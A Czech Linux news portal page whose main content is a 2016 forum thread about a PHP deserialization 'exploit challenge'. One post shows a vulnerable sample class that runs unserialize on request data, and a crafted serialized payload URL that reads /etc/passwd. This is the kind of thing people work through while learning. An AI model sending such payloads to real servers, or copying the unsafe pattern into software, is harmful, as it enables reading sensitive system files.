abclinuxu.cz AbcLinuxu.cz itbiz.cz ITBiz.cz HDmag.cz HDmag.cz abcprace.cz AbcPráce.cz
AbcLinuxu hledá autory!
Inzerujte na AbcPráce.cz od 950 Kč
Rozšířené hledání
×
    dnes 12:22 | Nová verze Ladislav Hagara | Komentářů: 0
    včera 20:00 | Komunita

    Byly zpracovány a na YouTube zveřejněny videozáznamy z konference LinuxDays 2025.

    Ladislav Hagara | Komentářů: 0
    4.10. 15:22 | IT novinky

    Na konferenci LinuxDays 2025 byl oficiálně představen nový router Turris Omnia NG.

    Ladislav Hagara | Komentářů: 26
    4.10. 05:22 | Komunita

    Přímý přenos (YouTube) z konference LinuxDays 2025, jež probíhá tento víkend v Praze v prostorách FIT ČVUT. Na programu je spousta zajímavých přednášek.

    Ladislav Hagara | Komentářů: 12
    3.10. 22:44 | IT novinky

    V únoru loňského roku Úřad pro ochranu osobních údajů pravomocně uložil společnosti Avast Software pokutu 351 mil. Kč za porušení GDPR. Městský soud v Praze tuto pokutu na úterním jednání zrušil. Potvrdil ale, že společnost Avast porušila zákon, když skrze svůj zdarma dostupný antivirový program sledovala, které weby jeho uživatelé navštěvují, a tyto informace předávala dceřiné společnosti Jumpshot. Úřad pro ochranu osobních údajů

    … více »
    Ladislav Hagara | Komentářů: 7
    3.10. 19:00 | Nová verze

    Google Chrome 141 byl prohlášen za stabilní. Nejnovější stabilní verze 141.0.7390.54 přináší řadu novinek z hlediska uživatelů i vývojářů. Podrobný přehled v poznámkách k vydání. Opraveno bylo 21 bezpečnostních chyb. Za nejvážnější z nich (Heap buffer overflow in WebGPU) bylo vyplaceno 25 000 dolarů. Vylepšeny byly také nástroje pro vývojáře.

    Ladislav Hagara | Komentářů: 0
    3.10. 17:11 | Upozornění

    eDoklady mají kvůli vysoké zátěži technické potíže. Ministerstvo vnitra doporučuje vzít si sebou klasický občanský průkaz nebo pas.

    Ladislav Hagara | Komentářů: 25
    3.10. 17:00 | Komunita

    Novým prezidentem Free Software Foundation (FSF) se stal Ian Kelling.

    Ladislav Hagara | Komentářů: 1
    3.10. 14:33 | Komunita

    Na čem pracují vývojáři webového prohlížeče Ladybird (GitHub)? Byl publikován přehled vývoje za září (YouTube).

    Ladislav Hagara | Komentářů: 0
    3.10. 12:33 | Upozornění

    Vyšla kniha Počítačové programy a autorské právo. Podle internetových stránek nakladatelství je v knize "Významný prostor věnován otevřenému a svobodnému softwaru, jeho licencím, důsledkům jejich porušení a rizikům „nakažení“ proprietárního kódu režimem open source."

    javokajifeng | Komentářů: 0
    Jaké řešení používáte k vývoji / práci?
     (38%)
     (45%)
     (16%)
     (17%)
     (21%)
     (15%)
     (17%)
     (16%)
     (16%)
    Celkem 178 hlasů
     Komentářů: 12, poslední 4.10. 20:35
    Rozcestník

    Dotaz: PHP: hledám obecně známý objekt, který má metodu toString()

    24.12.2016 18:01 skirptkido
    PHP: hledám obecně známý objekt, který má metodu toString()
    Přečteno: 398×
    Dobrý den,

    Mám takový netradiční dotaz pro zkušené PHPčkaře. Hledám nějaký relativně obecně známý / používaný / populární objekt v PHP, který obsahuje metodu toString() - pozor nikoliv __toString(). Neznáte nějaký takový objekt? Může to být součást nějakého oblíbeného frameworku nebo nějaké knihovny, který se v PHP světě používá..

    Abych uvedl důvod proč to hledám - řeším jednu takovou exploit challenge, kde ten kód vypadá takto:
    $rce = unserialize($_REQUEST['blah']);
    echo $rce->toString();
    
    Akorát, že já nevím jméno toho objektu, kterému mám tou deserializací změnit nějaké ty properties.. Nenapadá vás něco co by to mohlo být?

    Díky!

    Odpovědi

    25.12.2016 23:20 Odin1918 | skóre: 6 | blog: Valhalla
    Rozbalit Rozbalit vše Re: PHP: hledám obecně známý objekt, který má metodu toString()
    github, git clone a rekurzivni grep jsou tvoji pratele
    26.12.2016 18:08 Sten
    Rozbalit Rozbalit vše Re: PHP: hledám obecně známý objekt, který má metodu toString()
    Předefinuj property toString, to volání spadne a vypíše, jak se ta třída jmenuje ;-)
    27.12.2016 01:01 skirptkido
    Rozbalit Rozbalit vše Re: PHP: hledám obecně známý objekt, který má metodu toString()
    To je zajímavý nápad, ale nejsem si jistý jak to provést / jestli je to možné řešení.

    Předpokládejme následující kód na serveru:
    class nevim {
      public $filename = 'xyz';
    
      public function toString() {
        echo file_get_contents($this->filename);
      }
    }
    
    $rce = unserialize($_GET['blah']);
    echo $rce->toString();
    
    Kdybych věděl jméno té třídy, tak můžu poslat request třeba:
    http://url/skript.php?blah=O:5:"nevim":1:{s:8:"filename";s:11:"/etc/passwd";}
    
    A vypsat si tím soubor /etc/passwd, ale když neznám jméno té třídy, tak se mi zdá, že jsem bez šance cokoliv zkoušet, nebo ne?

    I přesto to ale zkouším všeljak, nicméně ikdyž zkusím změnit property toString, tak mi to nepomůže - nevypíše to nic extra, dokonce to funguje jakoby se nechumelilo:
    http://url/skript.php?blah=O:5:"nevim":2:{s:8:"filename";s:11:"/etc/passwd";s:8:"toString";s:6:"blabla";}
    
    Funguje no problem na mým testovacím serveru.

    Tak nevím..
    27.12.2016 02:35 Sten
    Rozbalit Rozbalit vše Re: PHP: hledám obecně známý objekt, který má metodu toString()
    Hmm, tak PHP má tak zprasený návrh tříd, že to nejde. $t->toString vytáhne tu hodnotu, ale $t->toString() zavolá takto pojmenovanou metodu z prototypu třídy (i když existuje takto pojmenovaná hodnota), zatímco pokud taková metoda není definována, pokusí se zavolat $t->toString->__invoke(), tj. metodu třídy té hodnoty.
    27.12.2016 03:14 Kit | skóre: 46 | Brno
    Rozbalit Rozbalit vše Re: PHP: hledám obecně známý objekt, který má metodu toString()
    Na tom nevidím nic zpraseného. Na podobné problémy jsem nikdy nenarazil. Když budeš dodržovat konvence pro názvy objektů a metod, tak se ti to stát ani nemůže.
    Komentáře označují místa, kde programátor udělal chybu nebo něco nedodělal.

    Založit nové vláknoNahoru

    Tiskni Sdílej: Linkuj Jaggni to Vybrali.sme.sk Google Del.icio.us Facebook

    ISSN 1214-1267   www.czech-server.cz
    © 1999-2015 Nitemedia s. r. o. Všechna práva vyhrazena.